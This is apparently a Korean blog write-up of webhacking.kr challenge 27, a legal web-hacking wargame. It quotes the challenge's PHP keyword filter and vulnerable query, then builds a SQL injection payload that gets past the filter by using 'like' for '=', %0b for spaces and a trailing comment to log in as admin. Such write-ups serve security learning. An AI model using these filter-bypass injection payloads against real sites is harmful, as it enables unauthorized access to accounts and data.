필터링 항목부터 체크하자
if(preg_match("/#| select | \( | | limit | = | 0x /i",$_GET['no'])) exit("no hack");
select, \(, limit, =, 0x를 필터링한다.
못봤는데 공백도 필터링한다.
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
여기서 인증을 해주는데, GET방식으로 가져오는거 확인했다.
가져오는 대상은 no다 .
where id ='guest' and no=('false') or id='admin' and no=('2') 를 주면 될 거같은데,
no=2인게 admin말고 없겠지.
where id ='guest' and no='false' or no='2' 이렇게만 줘도 될 듯하다.
false' or no='2 이렇게 입력을 주면 되겠다.
false 에는 1>2를 사용하자.
1>2' or no='2 -> = 을 우회할 방법도 찾아야함
=는 like, in(), strcmp()등등으로 우회할 수 있다고 한다.
여기서는 괄호가 필터링되니까 like를 사용해보자.
필터링 확인하다가 no를 입력으로 주니까 guest로 로그인 됬다.
공백우회는 %0a로 해주자
and no=(0)or no like 2 의 형식을 주고 싶다.
공부하면서 알아낸게 주석처리하면서 공백을 안넣어주면 #) 이렇게 들어가서 주석처리가 되지 않으니까 공백을 꼭 넣어줘야된다고 한다.
0)or%0ano%0alike%0a2%0a--%0a 이렇게 했는데 안된다 공백 문제인거같은데
0)or%0bno%0blike%0b2%0b--%0b
이렇게 하면 된다.
no=0%29or%250bno%250blike%250b2%250b--%250b
근데 제출칸에 답을 넣어도 패스가 안된다.
하지만 url 에 답을 넣으면 패스가 된다.
제출칸에 넣으면 no=0%29or%250bno%250blike%250b2%250b--%250b 이렇게 들어간다. %를 인코딩해줘서 이렇게 되는 것 같다.
입력창에 넣어줄꺼면 디코딩해서
0)or
no
like
2
--
로 넣어줘야 할 듯
해결!
'WriteUp > Webhacking.kr' 카테고리의 다른 글
webhacking.kr : challenge 33 (0) | 2020.09.14 |
---|---|
webhacking.kr : challenge 25 (0) | 2020.09.11 |
webhacking.kr : challenge 24 (0) | 2020.09.11 |
webhacking.kr : challenge 23 (0) | 2020.09.11 |
webhacking.kr : challenge 22 (0) | 2020.09.11 |